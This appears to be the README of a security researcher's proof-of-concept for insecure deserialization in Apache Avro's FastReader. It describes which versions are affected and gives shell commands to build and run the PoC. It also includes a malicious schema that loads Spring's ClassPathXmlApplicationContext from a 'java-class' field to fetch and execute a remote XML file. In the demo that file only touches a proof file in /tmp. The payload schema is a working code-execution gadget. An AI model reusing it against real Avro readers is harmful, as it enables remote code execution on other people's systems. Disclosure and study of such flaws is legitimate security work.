README.md

Insecure Deserialization in Apache Avro

This is a PoC for insecure deserialization in Apache Avro.

The PoC works against default configs for v1.12.1, and nondefault configurations that enabled FastRead since 1.9.2.

Full PoC:

rm /tmp/proof.txt
python3 -m http.server &
mvn package && java -jar target/avro_research-1.0-SNAPSHOT.jar
kill %1
ls -la /tmp/proof.txt

Details

The FastReader does not perform the same security checks that the default reader does. As a result, a schema can specify a java-class for string items, similarly to CVE-2025-30065.

FastReader is on by default since 1.12.1, and can be optionally enabled in previous versions since 1.12.0 and 1.9.2.

The following schema makes it so when the avro file is read, the URL within the record is requested and the instructions within it executed. In this example, malicious.xml touchs a proof file in tmp. Malicious schema:

{
    "type": "record",
    "name": "TestStringRecord",
    "fields": [
        {
            "name": "inner",
            "type": ["null", {
                    "type": "string",
                    "avro.java.string": "String",
                    "java-class": "org.springframework.context.support.ClassPathXmlApplicationContext"
                }
            ],
            "default": "url:http://localhost:8000/malicious.xml"
        }
    ]
}